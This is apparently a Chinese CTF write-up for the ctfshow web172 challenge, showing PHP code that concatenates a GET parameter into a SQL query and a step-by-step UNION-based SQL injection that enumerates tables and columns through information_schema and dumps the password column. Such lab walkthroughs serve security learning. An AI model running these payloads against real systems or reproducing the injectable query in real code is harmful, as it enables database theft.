ctfshow-web入门-web172

php 复制代码
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

联合查询

该题目与上一个题目不是同一个类型,该题目需要进行sql联合查询。

第一步:确定sql注入的类型。1' or 1=1 确定为字符型(根据上面的php代码也能确定)

第二步:使用order by确定列数 1' order by 3 --+

第三步:测试回显位:1' union select 1,2 --+

第四步:使用database(),查询数据库 1' union select 1, database() --+

第五步:查询表名

x union select 1,group_concat(table_name),x from information_schema.tables where table_schema=database() --+

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctfshow_web" --+

第一个x代表是需要确定哪种注入类型。

第二个x代表是需要确定是有几个列,并且确定回显字段。

第六步:查询字段名:

x union select 1,group_concat(column_name),x from information_schema.columns where table_schema=database()&&table_name="查询到的表名" --+

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()&&table_name="ctfshow_user2" --+

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctfshow_web"&&table_name="ctfshow_user2" --+

两种方法均无法查询出字段名,因为语法出现问题。应该使用下列查询语句:加个括号

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()&&table_name="ctfshow_user2") --+

仍然不正确,在语句中不需要数据库的信息。

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2") --+

所以最开始语句的问题是多加了数据库的信息:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2" --+

第七步:查询字段值:

1' union select 1,group_concat(password) from ctfshow_user2 --+

1' union select 1,password from ctfshow_user2 --+

以上问题错误的原因:该题目只有一个数据库,因此在查询字段时不需要指定数据库名。

相关推荐
会编程的吕洞宾几秒前
MySQL 慢查询从5秒到50毫秒:索引失效六大场景定位与实战调优
数据库·mysql
浅念-4 分钟前
MySQL 索引底层完整详解|磁盘Page|B+树推导|聚簇非聚簇索引|索引SQL操作
大数据·数据库·b树·sql·mysql·面试·职场和发展
小白勇闯网安圈38 分钟前
Django Form 组件详解:从表单生成到 ModelForm 数据校验
数据库·django·sqlite
sbjdhjd1 小时前
企业站 SQL 注入实战:PCRE 正则回溯绕过关键词 WAF 完整实战 | 进阶02
sql·安全·web安全·网络安全·ai·开源·php
梦想不只是梦与想1 小时前
MySQL 数据库(二):数据类型
数据库·mysql·数据类型
野生技术架构师1 小时前
Redis 和 MySQL 如何保证数据一致性?先更新数据库还是先删缓存,延迟双删、MQ、Canal 一次讲透
数据库·redis·缓存
鸽芷咕2 小时前
SQL Server数据迁移到金仓数据库复盘:从怕性能翻车,到TPS提升60%
数据库
茶本无香2 小时前
通用报表自动化框架:Java调用Shell传参执行PostgreSQL SQL模板
java·sql·postgresql·shell
HAYDENR2 小时前
数据库如何做性能优化?数据库性能调优有哪些常见注意事项?
数据库·性能优化
Light Gao2 小时前
企业级灰度发布技术方案
网络·数据库·oracle